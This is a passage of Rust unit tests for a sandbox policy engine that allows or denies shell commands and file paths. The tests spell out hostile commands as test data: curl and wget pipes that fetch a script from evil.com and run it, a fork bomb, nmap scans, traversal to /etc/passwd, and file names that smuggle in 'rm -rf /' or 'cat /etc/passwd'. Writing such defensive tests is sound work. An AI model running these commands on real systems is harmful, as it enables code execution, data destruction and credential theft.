for attempt in reverse_shell_attempts {
let result = policy.check(&attempt);
assert!(
result.is_some(),
"Reverse shell attempt {:?} should be denied",
attempt
);
}
}
#[test]
fn test_network_attempt_port_scanning() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["nmap".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["nc".to_string(), "-z".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&[
"nmap".to_string(),
"-p".to_string(),
"1-65535".to_string(),
"localhost".to_string(),
]);
assert!(result.is_some());
}
#[test]
fn test_network_attempt_download_execute() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["curl".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["curl".to_string(), "|".to_string(), "bash".to_string()],
Decision::Deny,
None,
)
.unwrap();
policy
.add_prefix_rule(
&["wget".to_string(), "-O-".to_string()],
Decision::Deny,
None,
)
.unwrap();
let download_exec = vec![
vec![
"curl".to_string(),
"http://evil.com/script.sh".to_string(),
"|".to_string(),
"bash".to_string(),
],
vec![
"wget".to_string(),
"-qO-".to_string(),
"http://evil.com/script.sh".to_string(),
"|".to_string(),
"sh".to_string(),
],
];
for attempt in download_exec {
let result = policy.check(&attempt);
assert!(
result.is_some(),
"Download and execute {:?} should be detected",
attempt
);
}
}
#[test]
fn test_process_manipulation_fork_bomb() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["fork".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&[":(){:|:&};:".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&[":(){:|:&};:".to_string()]);
assert!(result.is_some());
}
#[test]
fn test_process_manipulation_ptrace() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["strace".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["ltrace".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&["strace".to_string(), "-p".to_string(), "1234".to_string()]);
assert!(result.is_some());
}
#[test]
fn test_process_manipulation_kill_all() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["killall".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(
&["pkill".to_string(), "-9".to_string()],
Decision::Deny,
None,
)
.unwrap();
let result = policy.check(&["killall".to_string(), "-9".to_string()]);
assert!(result.is_some());
}
#[test]
fn test_directory_traversal_parent_escape() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cd".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["cd".to_string(), "..".to_string()],
Decision::Deny,
Some("Parent directory escape not allowed".to_string()),
)
.unwrap();
let escape_attempts = vec![
vec!["cd".to_string(), "..".to_string()],
vec!["cd".to_string(), "../..".to_string()],
vec!["cd".to_string(), "../../..".to_string()],
vec!["cd".to_string(), "..;".to_string()],
vec!["cd".to_string(), "..%00".to_string()],
];
for attempt in escape_attempts {
let result = policy.check(&attempt);
assert!(
result.is_some(),
"Directory escape {:?} should be detected",
attempt
);
}
}
#[test]
fn test_empty_command() {
let policy = Policy::new();
let result = policy.check(&[]);
assert!(result.is_some(), "Empty command should be denied");
}
#[test]
fn test_extremely_long_arguments() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
let long_arg = "A".repeat(100000);
let result = policy.check(&["cat".to_string(), long_arg]);
assert!(result.is_some());
}
#[test]
fn test_null_in_arguments() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
let result = policy.check(&["cat".to_string(), "file\x00.txt".to_string()]);
assert!(result.is_some());
}
#[test]
fn test_special_characters_in_arguments() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
let special_args = vec![
"file with spaces.txt",
"file\twith\ttabs.txt",
"file\nwith\nnewlines.txt",
"file;rm -rf /.txt",
"file|cat /etc/passwd.txt",
"file`whoami`.txt",
"file$(whoami).txt",
];
for arg in special_args {
let result = policy.check(&["ls".to_string(), arg.to_string()]);
assert!(
result.is_some(),
"Special character in arg should be handled: {}",
arg
);
}
}
#[test]
fn test_combined_attack_path_and_command() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["cat".to_string(), "/etc/passwd".to_string()],
Decision::Deny,
None,
)
.unwrap();
let combined_attacks = vec![
vec!["cat".to_string(), "../../../etc/passwd".to_string()],
vec!["cat".to_string(), "/etc/../../etc/passwd".to_string()],
];
for attack in combined_attacks {
let result = policy.check(&attack);
assert!(
result.is_some(),
"Combined attack {:?} should be detected",
attack
);
}
}
#[test]
fn test_combined_attack_env_and_command() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(&["env".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&["ls".to_string(), "&".to_string(), "env".to_string()]);
assert!(result.is_some());
}
#[test]
fn test_path_rule_creation() {
let rule = PathRule::new(
"/etc/passwd".to_string(),
false,
Decision::Deny,
Some("Cannot access system files".to_string()),
);
assert_eq!(rule.path_pattern, "/etc/passwd");
assert!(!rule.is_directory);
assert_eq!(rule.decision, Decision::Deny);
}
#[test]
fn test_path_rule_matches_exact() {
let rule = PathRule::new("/etc/passwd".to_string(), false, Decision::Deny, None);
assert!(rule.matches_path("/etc/passwd"));
assert!(!rule.matches_path("/etc/shadow"));
assert!(!rule.matches_path("/etc"));
}
#[test]
fn test_path_rule_matches_wildcard() {
let rule = PathRule::new("/etc/*".to_string(), true, Decision::Deny, None);
assert!(rule.matches_path("/etc/passwd"));
assert!(rule.matches_path("/etc/shadow"));
assert!(rule.matches_path("/etc/some/nested/path"));
assert!(!rule.matches_path("/var/etc"));
}
#[test]
fn test_path_rule_matches_star() {
let rule = PathRule::new("*".to_string(), false, Decision::Allow, None);
assert!(rule.matches_path("/any/path"));
assert!(rule.matches_path("/another/path"));
assert!(rule.matches_path("relative/path"));
}
#[test]
fn test_path_rule_matches_directory_prefix() {
let rule = PathRule::new("/home".to_string(), true, Decision::Deny, None);
assert!(rule.matches_path("/home"));
assert!(rule.matches_path("/home/user"));
assert!(rule.matches_path("/home/user/documents"));
assert!(!rule.matches_path("/homeuser"));
}
#[test]
fn test_policy_add_path_rule() {
let mut policy = Policy::new();
policy.add_path_rule(PathRule::new(
"/etc/passwd".to_string(),
false,
Decision::Deny,
None,
));
assert_eq!(policy.check_path("/etc/passwd"), Decision::Deny);
}
#[test]
fn test_policy_add_path_rule_simple() {
let mut policy = Policy::new();
policy.add_path_rule_simple(
"/root".to_string(),
true,
Decision::Deny,
Some("Root access denied".to_string()),
);
assert_eq!(policy.check_path("/root"), Decision::Deny);
}
#[test]
fn test_policy_check_path_no_match() {
let mut policy = Policy::new();
policy.add_path_rule_simple("/etc".to_string(), true, Decision::Deny, None);
assert_eq!(policy.check_path("/tmp"), Decision::Allow);
}
#[test]
fn test_policy_check_path_whitelist_mode() {
let mut policy = Policy::new_whitelist();
policy.add_path_rule_simple("/tmp".to_string(), true, Decision::Allow, None);
assert_eq!(policy.check_path("/etc"), Decision::Deny);
assert_eq!(policy.check_path("/tmp"), Decision::Allow);
}
#[test]
fn test_policy_path_rules_multiple() {
let mut policy = Policy::new();
policy.add_path_rule_simple("/etc/passwd".to_string(), false, Decision::Deny, None);
policy.add_path_rule_simple("/etc/shadow".to_string(), false, Decision::Deny, None);
policy.add_path_rule_simple("/home".to_string(), true, Decision::Allow, None);
assert_eq!(policy.check_path("/etc/passwd"), Decision::Deny);
assert_eq!(policy.check_path("/etc/shadow"), Decision::Deny);
assert_eq!(policy.check_path("/home/user"), Decision::Allow);
assert_eq!(policy.check_path("/var"), Decision::Allow);
}
#[test]
fn test_policy_debug_includes_path_rules() {
let mut policy = Policy::new();
policy.add_path_rule_simple("/etc".to_string(), true, Decision::Deny, None);
let debug_str = format!("{:?}", policy);
assert!(debug_str.contains("path_rules_count"));
}
}